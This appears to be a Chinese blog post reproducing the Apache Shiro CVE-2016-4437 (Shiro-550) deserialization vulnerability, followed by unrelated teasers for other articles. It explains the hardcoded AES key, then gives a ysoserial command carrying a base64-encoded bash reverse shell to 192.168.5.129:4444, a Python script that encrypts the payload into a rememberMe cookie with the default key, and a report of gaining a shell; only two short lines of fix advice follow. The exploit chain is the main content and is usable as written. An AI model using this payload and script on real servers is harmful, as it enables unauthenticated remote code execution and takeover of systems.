shiro CVE-2016-4437 漏洞复现
shiro
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序
漏洞原理
在Apache shiro的框架中,执行身份验证时提供了一个记住密码的功能RememberMe,如果用户登录时勾选了这个选项。用户的请求数据包中将会在cookie字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到RememberMe Cookie字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问。那么显然,服务端进行对cookie进行验证的步骤就是:取出请求包中rememberMe的cookie值 => Base64解码=>AES解密(用到密钥key)=>反序列化。
出现问题的点在AES加解密的过程中使用的密钥key。AES是一种对称密钥密码体制,加解密用到是相同的密钥,这个密钥应该是绝对保密的,在shiro版本<=1.2.24的版本中使用了固定的密钥kPH+bIxk5D2deZiIxcaaaA==,这样攻击者直接就可以用这个密钥实现上述加密过程,在Cookie字段写入想要服务端执行的恶意代码,最后服务端在对cookie进行解密的时候(反序列化后)就会执行恶意代码。


登录时是否选择Remember Me都不影响漏洞的复现。

生成base64后的反弹shell。

使用 ysoserial-0.0.6-SNAPSHOT-all.jar工具进行序列化,直接调用对应的模块,添加上自己的payload即可,方便快捷。

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuMTI5LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > poc.ser
将序列化后的payload,放到python代码同一目录下,进行aes加密并进行base64转码。在这之前,首先我们要知道shiro的key值是什么,要不然G。当然,目前暴露的shiroKey值很多,可以自己写个脚本进行爆破。我使用的key值是shiro的默认值。

import sys
import uuid
import base64
from Crypto.Cipher import AESshiro_key = []def getKey(path):with open(path) as file:shiro_key.append(file.readlines())def encode_rememberme(shiro_key):f = open('poc.ser', 'rb')BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode(shiro_key)iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(f.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':# path = "./shiroKey.txt"# getKey(path)shiro_key = 'kPH+bIxk5D2deZiIxcaaaA=='payload = encode_rememberme(shiro_key)print("rememberMe={0}".format(payload.decode()))
将生成的payload,复制到cookie的值处即可,其它的不要动。
下面这个图显示的是使用正确的账户登录显示的内容。

下面这个图显示的是使用非正确的账户登录显示的内容。

通过这两个图对比,可以发现,该漏洞不需要正确的账户,即可getshell。有一个前提条件就是需要shiro的key值。

发完包以后,直接getshell。
总结
shiro550漏洞,漏洞点就在于用户信息反序列化可利用,并且加密的key值给了一个固定的默认值的,导致很多开发人员直接使用,接着导致了洞的产生。
修复建议
1、及时升级shiro版本。(不要忘记升级前做备份。)
2、不再使用固定的密钥加密。
参考链接
shiro反序列化漏洞(CVE-2016-4437)漏洞复现:https://blog.csdn.net/HEAVEN569/article/details/125389987
Shiro-550 漏洞复现:https://blog.csdn.net/qq_46440393/article/details/123493079
shiro550漏洞复现与研究:https://www.163.com/dy/article/GCN65SL20511FSTO.html
相关文章:
shiro CVE-2016-4437 漏洞复现
shiro Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序漏洞原理 在Apache shiro的框架中,执行身份验证时提供了…...
Seqkit-2.2.0 移植指南(openEuler 20.03 LTS SP3)
1.软件介绍 seqkit是一种跨平台的、极快的,全面的fasta/q处理工具。seqkit为所有的主流操作系统提供了一种可执行的双元文件,包括Windows,Linux,MacOS X,并且不依赖于任何的配置或预先配置就可以直接使用。 关于seqk…...
Java版本企业电子招投标采购系统源码——功能模块功能描述+数字化采购管理 采购招投标
功能模块: 待办消息,招标公告,中标公告,信息发布 描述: 全过程数字化采购管理,打造从供应商管理到采购招投标、采购合同、采购执行的全过程数字化管理。通供应商门户具备内外协同的能力,为外部供…...
二十三种设计模式第五篇--原型模式
原型模式(Prototype Pattern)是用于创建重复的对象,同时又能保证性能。这种类型的设计模式属于创建型模式,它提供了一种创建对象的最佳方式。 这种模式是实现了一个原型接口,该接口用于创建当前对象的克隆。当直接创建…...
阿里云镜像区别公共镜像、自定义、共享、云市场和社区镜像介绍
阿里云服务器镜像根据来源不同分为公共镜像、自定义镜像、共享镜像、云市场镜像和社区镜像,一般没有特殊情况选择公共镜像,公共镜像是阿里云官网提供的正版授权操作系统,云市场镜像是在纯净版操作系统的基础上预装了相关软件及运行环境&#…...
非线性方程二分法
非线性方程二分法 优点:算法直观、简单、总能保证收敛;局限:收敛速度慢、一般不单独用它求根,仅为了获取根的粗略近似 文章目录 非线性方程二分法[toc]1 二分法基本思想2 二分法实现 1 二分法基本思想 设 f ( x ) f(x) f(x)在 [ …...
H3C防火墙单机旁路部署(网关在防火墙)
防火墙旁路部署在核心交换机上,内网有三个网段vlan 10:172.16.10.1/24、vlan 20:172.16.20.1/24、vlan30:172.16.30.1。要求内网网关在防火墙设备上,由防火墙作为DHCP服务器给终端下发地址,同时由防火墙来控…...
基于密度的无线传感器网络聚类算法的博弈分析(Matlab代码实现)
目录 💥1 概述 📚2 运行结果 🎉3 参考文献 👨💻4 Matlab代码 💥1 概述 提高能源效率是无线传感器网络面临的关键挑战之一,无线传感器网络日益普遍。由于节点(传感器ÿ…...
宕机了?!DolphinScheduler 高可用和 Failover 机制关键时刻保命
高可用性是 Apache DolphinScheduler 的特性之一。它通过冗余来避免单点问题,所有组件天然支持横向扩容;但仅仅保证了冗余还不够,当系统中有节点宕机时,还需要有故障转移机制能够自动将宕机节点正在处理的工作转移到新节点上执行&…...
try(){}用法try-with-resources、try-catch-finally
属于Java7的新特性。 经常会用try-catch来捕获有可能抛出异常的代码。如果其中还涉及到资源的使用的话,最后在finally块中显示的释放掉有可能被占用的资源。 但是如果资源类已经实现了AutoCloseable这个接口的话,可以在try()括号中可以写操作资源的语句(…...
常见Http错误码学习
常见 http 错误码 服务器巡检时比较常见的 http 错误码 400 Bad Request408 Request Timeout499 client has closed connection502 Bad Gateway504 Gateway Timeout 这些错误码反映了服务器什么样的状态,仅看字面意思还不太容易理解,就动手做个试验…...
qemu-基础篇——ARM 链接过程分析(六)
文章目录 ARM 链接过程分析源文件global_bss_file.cglobal_data_fle.cglobal_function_file.cglobal_rodata_file.cmain.c 链接文件 link.lds编译命令及反汇编命令解析 .o 文件global_bss_file.oglobal_data_fle.oglobal_function_file.oglobal_rodata_file.omain.o 链接观察链…...
Java企业工程项目管理系统+spring cloud 系统管理+java 系统设置+二次开发
工程项目各模块及其功能点清单 一、系统管理 1、数据字典:实现对数据字典标签的增删改查操作 2、编码管理:实现对系统编码的增删改查操作 3、用户管理:管理和查看用户角色 4、菜单管理:实现对系统菜单的增删改查操…...
Eureka与Zookeeper的区别
著名的CAP 理论指出,一个分布式系统不可能同时满足 C( 一致性 ) 、 A( 可用性 ) 和 P( 分区容错性 ) 。 由于分区容错性在是分布式系统中必须要保证的,因此我们只能在 A 和 C 之间进行权衡,在此 Zookeeper 保证的是 CP, 而 Eureka 则是 AP…...
顺序表和链表的各种代码实现
一、线性表 在日常生活中,线性表的例子比比皆是。例如,26个英文字母的字母表(A,B,C,……,Z)是一个线性表,表中的数据元素式单个字母。在稍复杂的线性表中,一个数据元素可以包含若干个数据项。例…...
C# 介绍三种不同组件创建PDF文档的方式
1 c# 数据保存为PDF(一) (spire pdf篇) 2 c# 数据保存为PDF(二) (Aspose pdf篇) 3 c# 数据保存为PDF(三) (PdfSharp篇) 组件名称 绘制…...
极简面试题 --- Redis
什么是 Redis? Redis 是一个基于内存的键值存储系统,也被称为数据结构服务器。它支持多种数据结构,例如字符串、哈希表、列表、集合和有序集合,并且可以在内存中快速读写。 Redis 的优势有哪些? 快速:由…...
可视化图表API格式要求有哪些?Sugar BI详细代码示例(4)
Sugar BI中的每个图表可以对应一个数据 API,用户浏览报表时,选定一定的过滤条件,点击「查询」按钮将会通过 API 拉取相应的数据;前面说过,为了确保用户数据的安全性,Sugar BI上的所有数据请求都在Sugar BI的…...
学习vue(可与知乎合并)
一:组件及交互 1、什么是组件? 组件是可复用的 Vue 实例,且带有一个名字:在这个例子中是 。我们可以在一个通过 new Vue 创建的 Vue 根实例中,把这个组件作为自定义元素来使用: 声明组件 // 定义一个名…...
【UEFI实战】Linux下如何解析ACPI表
本文介绍如何在Linux下查看ACPI表示。使用的系统是Ubuntu18.04: Linux home 4.15.0-36-generic #39-Ubuntu SMP Mon Sep 24 16:19:09 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux 可以在如下的目录看到ACPI的基本信息: 但是默认的表都是不可以直接查看的&…...
多场景 OkHttpClient 管理器 - Android 网络通信解决方案
下面是一个完整的 Android 实现,展示如何创建和管理多个 OkHttpClient 实例,分别用于长连接、普通 HTTP 请求和文件下载场景。 <?xml version"1.0" encoding"utf-8"?> <LinearLayout xmlns:android"http://schemas…...
土地利用/土地覆盖遥感解译与基于CLUE模型未来变化情景预测;从基础到高级,涵盖ArcGIS数据处理、ENVI遥感解译与CLUE模型情景模拟等
🔍 土地利用/土地覆盖数据是生态、环境和气象等诸多领域模型的关键输入参数。通过遥感影像解译技术,可以精准获取历史或当前任何一个区域的土地利用/土地覆盖情况。这些数据不仅能够用于评估区域生态环境的变化趋势,还能有效评价重大生态工程…...
多模态大语言模型arxiv论文略读(108)
CROME: Cross-Modal Adapters for Efficient Multimodal LLM ➡️ 论文标题:CROME: Cross-Modal Adapters for Efficient Multimodal LLM ➡️ 论文作者:Sayna Ebrahimi, Sercan O. Arik, Tejas Nama, Tomas Pfister ➡️ 研究机构: Google Cloud AI Re…...
selenium学习实战【Python爬虫】
selenium学习实战【Python爬虫】 文章目录 selenium学习实战【Python爬虫】一、声明二、学习目标三、安装依赖3.1 安装selenium库3.2 安装浏览器驱动3.2.1 查看Edge版本3.2.2 驱动安装 四、代码讲解4.1 配置浏览器4.2 加载更多4.3 寻找内容4.4 完整代码 五、报告文件爬取5.1 提…...
稳定币的深度剖析与展望
一、引言 在当今数字化浪潮席卷全球的时代,加密货币作为一种新兴的金融现象,正以前所未有的速度改变着我们对传统货币和金融体系的认知。然而,加密货币市场的高度波动性却成为了其广泛应用和普及的一大障碍。在这样的背景下,稳定…...
【Redis】笔记|第8节|大厂高并发缓存架构实战与优化
缓存架构 代码结构 代码详情 功能点: 多级缓存,先查本地缓存,再查Redis,最后才查数据库热点数据重建逻辑使用分布式锁,二次查询更新缓存采用读写锁提升性能采用Redis的发布订阅机制通知所有实例更新本地缓存适用读多…...
Redis:现代应用开发的高效内存数据存储利器
一、Redis的起源与发展 Redis最初由意大利程序员Salvatore Sanfilippo在2009年开发,其初衷是为了满足他自己的一个项目需求,即需要一个高性能的键值存储系统来解决传统数据库在高并发场景下的性能瓶颈。随着项目的开源,Redis凭借其简单易用、…...
Scrapy-Redis分布式爬虫架构的可扩展性与容错性增强:基于微服务与容器化的解决方案
在大数据时代,海量数据的采集与处理成为企业和研究机构获取信息的关键环节。Scrapy-Redis作为一种经典的分布式爬虫架构,在处理大规模数据抓取任务时展现出强大的能力。然而,随着业务规模的不断扩大和数据抓取需求的日益复杂,传统…...
Python 训练营打卡 Day 47
注意力热力图可视化 在day 46代码的基础上,对比不同卷积层热力图可视化的结果 import torch import torch.nn as nn import torch.optim as optim from torchvision import datasets, transforms from torch.utils.data import DataLoader import matplotlib.pypl…...
从物理机到云原生:全面解析计算虚拟化技术的演进与应用
前言:我的虚拟化技术探索之旅 我最早接触"虚拟机"的概念是从Java开始的——JVM(Java Virtual Machine)让"一次编写,到处运行"成为可能。这个软件层面的虚拟化让我着迷,但直到后来接触VMware和Doc…...
